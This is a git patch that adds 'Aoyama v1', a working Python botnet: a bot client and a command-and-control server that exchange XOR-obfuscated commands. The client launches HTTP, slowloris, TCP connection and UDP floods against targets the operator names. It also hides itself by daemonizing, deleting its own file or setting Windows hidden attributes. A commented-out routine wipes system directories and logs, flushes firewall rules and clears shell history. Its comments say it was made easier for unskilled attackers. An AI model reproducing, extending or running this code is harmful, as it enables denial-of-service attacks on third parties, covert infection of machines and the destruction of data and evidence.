From e1ae1216e5e7e6153da4b535c5197fb3ca37729a Mon Sep 17 00:00:00 2001 From: Leeon123 Date: Tue, 16 Jul 2019 21:20:59 +0800 Subject: [PATCH] Aoyama v1 --- client.py | 301 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ cnc.py | 270 ++++++++++++++++++++++++++++++++++++++++++++++++ login.txt | 1 + 3 files changed, 572 insertions(+) create mode 100644 client.py create mode 100644 cnc.py create mode 100644 login.txt diff --git a/client.py b/client.py new file mode 100644 index 0000000..d4665a0 --- /dev/null +++ b/client.py @@ -0,0 +1,301 @@ +#!/usr/bin/env python3 +#Code By Leeon123 +################################################### +# This is a new version of python3-botnet project # +# Added new stuff like daemon, slowloris... # +# Good Luck have Fun # +################################################### +#-- Aoyama version v1 --# +# Added xor encode traffic # +# Added auto enable ssl # +# Improved dos attack code # +# New process lock desgin # +# More easy for the skid # +############################ +import socket +import ssl +import sys +import os +import time +import random +import threading +import base64 as b64 + +cnc = str("127.0.0.1")#your cnc ip +cport = int(1337)#your cnc port +key = "asdfghjkloiuytresxcvbnmliuytf"#xor key, don't edit it if u don't know wtf is this + +useragents=["Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1", + "Mozilla/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1", + "Mozilla/5.0 (WindowsCE 6.0; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", + "Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0", + "Mozilla/5.0 (Windows NT 5.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1", + "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2", + "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/18.6.872.0 Safari/535.2 UNTRUSTED/1.0 3gpp-gba UNTRUSTED/1.0", + "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0", + "Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", + "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", + "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.27 (KHTML, like Gecko) Chrome/12.0.712.0 Safari/534.27", + "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1", + "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7", + "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6", + "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1", + "Mozilla/5.0 (Linux; Android 7.1.1; MI 6 Build/NMF26X; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.132 MQQBrowser/6.2 TBS/043807 Mobile Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN", + "Mozilla/5.0 (Linux; Android 7.1.1; OD103 Build/NMF26F; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/4G Language/zh_CN", + "Mozilla/5.0 (Linux; Android 6.0.1; SM919 Build/MXB48T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN", + "Mozilla/5.0 (Linux; Android 5.1.1; vivo X6S A Build/LMY47V; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN", + "Mozilla/5.0 (Linux; Android 5.1; HUAWEI TAG-AL00 Build/HUAWEITAG-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043622 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/4G Language/zh_CN",] + +acceptall = [ + "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n", + "Accept-Encoding: gzip, deflate\r\n", + "Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n", + "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: iso-8859-1\r\nAccept-Encoding: gzip\r\n", + "Accept: application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n", + "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n", + "Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*\r\nAccept-Language: en-US,en;q=0.5\r\n", + "Accept: text/html, application/xhtml+xml, image/jxr, */*\r\nAccept-Encoding: gzip\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n", + "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Encoding: gzip\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n," + "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\n", + "Accept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n", + "Accept: text/html, application/xhtml+xml", + "Accept-Language: en-US,en;q=0.5\r\n", + "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\n", + "Accept: text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n",] + +stop = False#threads control +def HTTP(ip, port, path): + global stop + while True: + if stop : + break + get_host = "GET "+path+"?"+str(random.randint(0,50000))+" HTTP/1.1\r\nHost: " + ip + "\r\n" + connection = "Connection: Keep-Alive\r\n" + useragent = "User-Agent: " + random.choice(useragents) + "\r\n" + accept = random.choice(acceptall) + http = get_host + useragent + accept + connection + "\r\n" + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + try: + s.connect((str(ip), int(port))) + if port == 443: + s = ssl.wrap_socket(s) + for y in range(100): + s.send(str.encode(http)) + #s.close() + except: + s.close() + +def SLOW(ip, port, conns, path):#slowloris, reference from https://github.com/gkbrk/slowloris + global stop + socket_list = [] + get_host = "GET "+path+"?"+str(random.randint(0,50000))+" HTTP/1.1\r\nHost: " + ip + "\r\n" + connection = "Connection: Keep-Alive\r\n" + useragent = "User-Agent: " + random.choice(useragents) + "\r\n" + accept = random.choice(acceptall) + header = get_host + useragent + accept + connection + for _ in range(int(conns)): + try: + if stop:#if stop=False then countine + break + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((str(ip), int(port))) + if port == 443: + s = ssl.wrap_socket(s) + s.send(str.encode(header)) + socket_list.append(s) + except: + pass + while True:#loop + if stop:#if stop=False then countine + break + for s in list(socket_list): + try: + s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8")) + except socket.error: + socket_list.remove(s) + for _ in range(int(conns)-len(socket_list)): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((str(ip), int(port))) + if port == 443: + s = ssl.wrap_socket(s) + s.send(str.encode(header)) + socket_list.append(s) + except: + pass + #go back to line 100 + +def CC(ip, port):#connection flood + global stop + while True: + if stop : + break + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((str(ip),int(port))) + if port == 443: + s = ssl.wrap_socket(s) + s.send("\000".encode()) + s.close() + except: + s.close() + +def UDP(ip, port, size):#udp flood(best size is 512-1024, if size too big router may filter it) + global stop + while True: + if stop : + break + udpbytes = random._urandom(int(size)) + sendip=(str(ip),int(port)) + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + try: + for y in range(100): + s.sendto(udpbytes, sendip) + s.close() + except: + s.close() + +def handle(sock): + global stop + attack = 0 + sock.send(xor_enc("1337",key).encode())#login code + while True: + tmp = sock.recv(1024).decode() + if len(tmp) == 0: + main() + #print(tmp) + data = xor_dec(tmp,key) + if data[0] == '!': + try: + command = data.split() + print(command) + if command[0] == xor_dec('QBAH',key):#encoded keywords: !cc + if attack != 0: + stop = True + attack=0 + stop = False + for x in range(int(command[3])): + p = threading.Thread(target=CC, args=(command[1],command[2])) + p.start() + attack+=1 + elif command[0] == xor_dec('QBsQEhc=',key):#encoded keywords: !http + if attack != 0: + stop = True + attack=0 + stop = False + for x in range(int(command[3])): + p = threading.Thread(target=HTTP, args =(command[1],command[2],command[4])) + p.start() + attack+=1 + elif command[0] == xor_dec('QAAICRA=',key):#encoded keywords: !slow + if attack != 0: + stop = True + attack=0 + stop = False + for x in range(int(command[3])): + p = threading.Thread(target=SLOW, args =(command[1],command[2],command[4],command[5])) + p.start() + attack+=1 + elif command[0] == xor_dec('QAYAFg==',key):#encoded keywords: !udp + if attack != 0: + stop = True + attack=0 + stop = False + for x in range(int(command[3])): + p = threading.Thread(target=UDP, args =(command[1],command[2],command[4])) + p.start() + attack+=1 + elif command[0] == xor_dec('QAAQCRc=',key):#!stop + stop = True + attack = 0#clear attack list + elif command[0] == xor_dec('QBgNCgs=',key):#!kill : kill bot + sock.close() + break + except:#if have error than will pass + pass + if data == xor_dec("ERoKAQ==",key):#ping + sock.send(xor_enc("pong",key).encode())#keepalive and check connection alive + +def daemon():#daemon + pid = os.fork()#first fork + if pid: + sys.exit(0) + os.chdir('/') + os.umask(0) + os.setsid() + _pid = os.fork()#second fork for careful, prevent the process from opening a control terminal again + if _pid: + sys.exit(0) + sys.stdout.flush()#Refresh buffer + sys.stderr.flush() + sys.stdin = open("/dev/null")#off the stdin,stdout,stderr, indeed no need. + sys.stdout= open("/dev/null")#windows can't use this method, only can use pyinstaller's option '--noconsole' + sys.stderr= open("/dev/null") +''' +def clean_device(): + os.system("rm -rf /tmp/* /var/tmp/* /var/run/* /var/*") + os.system("rm -rf /bin/netstat") + os.system("cat /dev/null > /var/log/wtmp") + os.system("iptables -F") + os.system("service iptables stop") + os.system("/sbin/iptables -F") + os.system("/sbin/iptables -X") + os.system("service firewalld stop") + os.system("rm -rf ~/.bash_history") + os.system("history -c") +''' +def conn(): + if len(sys.argv) == 1:#i use 'python client.py debug' to check command + if os.name != "nt": + daemon()#can't use in windows + os.system('rm -rf '+sys.argv[0])#delete ourselves + #clean_device() + else: + os.system("attrib +s +a +h "+sys.argv[0])#hide the file + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1) + s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1) + #s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPIDLE, 10) + #s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPINTVL, 10) + #s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPCNT, 3)#this only can use on python3 env, python2 pls off this + s.connect((cnc,cport)) + + handle(s) + + except Exception as e: + connect()#magic loop + +def connect(): + time.sleep(5) + conn() +#xor enc part# +def xor_enc(string,key): + lkey=len(key) + secret=[] + num=0 + for each in string: + if num>=lkey: + num=num%lkey + secret.append( chr( ord(each)^ord(key[num]) ) ) + num+=1 + + return b64.b64encode( "".join( secret ).encode() ).decode() + +def xor_dec(string,key): + + leter = b64.b64decode( string.encode() ).decode() + lkey=len(key) + string=[] + num=0 + for each in leter: + if num>=lkey: + num=num%lkey + + string.append( chr( ord(each)^ord(key[num]) ) ) + num+=1 + + return "".join( string ) + +if __name__ == '__main__': + conn() diff --git a/cnc.py b/cnc.py new file mode 100644 index 0000000..c438455 --- /dev/null +++ b/cnc.py @@ -0,0 +1,270 @@ +#!/usr/bin/env python3 +# -*- coding: UTF-8 -*- +#Code by LeeOn123 +#Created at 16/7/2019 +############################################################# +# d8888 # +# d88888 # +# d88P888 # +# d88P 888 .d88b. 888 888 8888b. 88888b.d88b. 8888b. # +# d88P 888d88""88b888 888 "88b888 "888 "88b "88b # +# d88P 888888 888888 888.d888888888 888 888.d888888 # +# d8888888888Y88..88PY88b 888888 888888 888 888888 888 # +# d88P 888 "Y88P" "Y88888"Y888888888 888 888"Y888888 # +# 888 # +# Y8b d88P # +# "Y88P" # +#===========================================================# +# ~ version 1.0 ~ # +############################################################# +import socket +import threading +import os +import time +import sys +import base64 as b64 + +key= "asdfghjkloiuytresxcvbnmliuytf"#xor key + +if len(sys.argv)<=1: + print("Usage: python3 cnc.py ") + sys.exit() + +b = int(sys.argv[1]) + +socketList = [] +def sendCmd(cmd):#Send Commands Module + print('[*]Command sent!!!')#debug + print(cmd) + data = xor_enc(cmd,key)#encode + count = 0 + for sock in socketList: + try: + sock.settimeout(1) + sock.send(data.encode()) + count+=1 + except: + sock.close() + socketList.remove(sock)#del error connection + print("[!] A bot offline") + print(str(count)+" bots got the command") + global so + so.send((str(count)+" bots exec the command\r\n").encode()) + scan_device()#check device after exec command + + +def scan_device():#scan online device + print('scanning Online bot') + for sock in socketList: + try: + sock.settimeout(1) + sock.send(xor_enc("ping",key).encode())#check connection + print("ping") + sock.settimeout(2) + pong = sock.recv(1024).decode() + if xor_dec(pong,key) == "pong": + print("pong") + else: + sock.close() + socketList.remove(sock) + print("[!] A bot offline") + except: + socketList.remove(sock)#del error connection + print("[!] A bot offline")#debug + +def showbot():#bot count + while True: + try: + global so + so.send(("\033]0;Nodes : "+str(len(socketList))+" \007").encode()) + time.sleep(1) + except: + return + +def handle_bot(sock,socketList): + while True: + try: + sock.settimeout(1) + sock.send(xor_enc("ping",key).encode())#keepalive and check connection + print("ping") + sock.settimeout(2) + pong = sock.recv(1024).decode() + if xor_dec(pong,key) == "pong": + print("pong") + time.sleep(60)#check connection every min + else: + try: + sock.close() + socketList.remove(sock) + print("[!] A bot offline") + break + except: + break + except: + try:#must try here because the bot may removed from other function + sock.close() + socketList.remove(sock) + print("[!] A bot offline") + except:#bug happened here, if not add "break" then there will be a "magic" loop + pass + break + +def waitConnect(sock,addr): + try: + passwd = sock.recv(1024).decode() + if passwd == "UEBXUQ==" :#1337 after encode + if sock not in socketList: + socketList.append(sock) + print("[!] A bot Online "+ str(addr)) #message + handle_bot(sock,socketList) + else: + #removed Login code, more easy for skid + #if passwd == "Login\r\n" or passwd == "Login": + #If u are using putty pls use raw mode to connect, + #If connected, there will not show anything on screen + #Just input 'Login' and enter. + print("Somebody connected:"+str(addr)) + Commander(sock) + except: + sock.close() + +def Commander(sock):#cnc server + global so + so = sock + sock.send("Username:".encode()) + name = sock.recv(1024).decode() + sock.send("Password:".encode()) + passwd = sock.recv(1024).decode() + tmp = open("login.txt").readlines()#enter ur username and password in login.txt + corret=0 + for x in tmp: + tmp2 = x.split() + #print(tmp2[0])#debug + #print(tmp2[1])# + if tmp2[0]+"\r\n" == name and tmp2[1]+"\r\n" == passwd: + print("Commander here: "+tmp2[0]) + corret=1 + if corret != 1: + sock.close() + return + sock.send("\033[36;1mSetting up the server\r\n".encode())#loading sense + time.sleep(0.5) + sock.send("\033[2J\033[1H".encode()) + sock.send("Setting up the server [-]\r\n".encode()) + time.sleep(0.3) + sock.send("\033[2J\033[1H".encode()) + sock.send("Setting up the server [\\]\r\n".encode()) + time.sleep(0.3) + sock.send("\033[2J\033[1H".encode()) + sock.send("Setting up the server [-]\r\n".encode()) + time.sleep(0.3) + sock.send("\033[2J\033[1H".encode()) + sock.send("Setting up the server [/]\r\n".encode()) + time.sleep(0.3) + sock.send("\033[2J\033[1H".encode()) + sock.send("Setting up the server [-]\r\n".encode()) + time.sleep(0.3) + sock.send("\033[2J\033[1H".encode()) + sock.send("Setting up the server [\\]\r\n".encode()) + time.sleep(0.3) + sock.send("\033[2J\033[1H".encode()) + sock.send("Setting up the server [-]\r\n".encode()) + time.sleep(0.3) + sock.send("\033[2J\033[1H".encode()) + sock.send("Setting up the server [/]\r\n".encode()) + time.sleep(0.3) + sock.send("\033[2J\033[1H".encode()) + sock.send("[!] Setting Up Connection Socket...\r\n".encode()) + time.sleep(0.5) + sock.send("[!] Updating Server Config...\r\n".encode()) + time.sleep(0.5) + sock.send("[!] Setting Up C&C Module...\r\n".encode()) + time.sleep(0.5) + sock.send("[!] Done...\r\n".encode()) + time.sleep(0.5) + sock.send(("[!] Welcom to the Aoyama C&C Server, "+str(name.strip("\r\n"))+"\r\n").encode()) + sock.send("==============================================\r\n".encode()) + time.sleep(1) + botn = threading.Thread(target=showbot,daemon=True) + botn.start() + + + while True: + #print ("==> Python3 C&C server <==") + sock.send((str(name.strip("\r\n"))+'@Aoyama:').encode())#if u run this on windows, it may has some bug, idk why so,i use linux. + cmd_str = sock.recv(1024).decode() + if len(cmd_str): + if cmd_str[0] == '!': + sendCmd(cmd_str) + #sock.send(str(count)+"bots exec the command\r\n".encode()) + if cmd_str == 'scan' or cmd_str == 'scan\r\n': + scan_device() + if cmd_str == '?' or cmd_str == 'help' or cmd_str == '?\r\n' or cmd_str == 'help\r\n': + sock.send('\r\n#-- Commands --#\r\n'.encode()) + sock.send(' CC Flood: !cc host port threads\r\n'.encode()) #tcp connection flood + sock.send(' HTTP Flood: !http host port threads path\r\n'.encode()) #http flood + sock.send(' slowloris : !slow host port threads conn path\r\n'.encode()) #slowloris + sock.send(' UDP Flood: !udp host port threads size\r\n\r\n'.encode())#udp flood + sock.send(' !stop : stop attack\r\n'.encode()) + sock.send(' !kill : kill all the bots\r\n'.encode()) + sock.send(' bots : count bot\r\n'.encode()) + sock.send(' scan : check online connection\r\n'.encode())#check connecton status, if some offline or timeout will delete them form bot list. + sock.send(' clear : Clear screen\r\n'.encode()) + sock.send(' exit : exit the server\r\n'.encode()) + sock.send(' shutdown : shutdown the server\r\n'.encode()) + sock.send('=============================================================\r\n'.encode()) + if cmd_str == 'bots' or cmd_str == 'bots\r\n': + sock.send(("Nodes:"+str(len(socketList))+"\r\n").encode()) + if cmd_str == 'clear' or cmd_str == 'clear\r\n': + sock.send("\033[2J\033[1H".encode()) + sock.send(' d8888 \r\n d88888 \r\n d88P888 \r\n d88P 888 .d88b. 888 888 8888b. 88888b.d88b. 8888b. \r\n d88P 888d88""88b888 888 "88b888 "888 "88b "88b \r\n d88P 888888 888888 888.d888888888 888 888.d888888 \r\n d8888888888Y88..88PY88b 888888 888888 888 888888 888 \r\n d88P 888 "Y88P" "Y88888"Y888888888 888 888"Y888888 \r\n 888 \r\n Y8b d88P \r\n "Y88P" \r\n'.encode()) + if cmd_str == 'exit' or cmd_str == 'exit\r\n': + sock.send(('Bye, '+str(name.strip("\r\n"))+'\033[0m\r\n').encode()) + sock.close() + break + if cmd_str == 'shutdown' or cmd_str == 'shutdown\r\n':#shutdown function + sock.send('Shutdown\r\n'.encode()) + sock.close() + print("shutdown from remote command") + sys.exit() + +def main(): + global s + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1) + s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)#Keepalive tcp connection + s.bind(('0.0.0.0',b)) + s.listen(1024) + while True: + sock, addr = s.accept() + th = threading.Thread(target=waitConnect,args=(sock,addr),daemon=True) + th.start() + +def xor_enc(string,key): + lkey=len(key) + secret=[] + num=0 + for each in string: + if num>=lkey: + num=num%lkey + secret.append( chr( ord(each)^ord(key[num]) ) ) + num+=1 + + return b64.b64encode( "".join( secret ).encode() ).decode() + +def xor_dec(string,key): + leter = b64.b64decode( string.encode() ).decode() + lkey=len(key) + string=[] + num=0 + for each in leter: + if num>=lkey: + num=num%lkey + + string.append( chr( ord(each)^ord(key[num]) ) ) + num+=1 + + return "".join( string ) + +if __name__ == '__main__': + main() diff --git a/login.txt b/login.txt new file mode 100644 index 0000000..c6ff274 --- /dev/null +++ b/login.txt @@ -0,0 +1 @@ +Leeon test \ No newline at end of file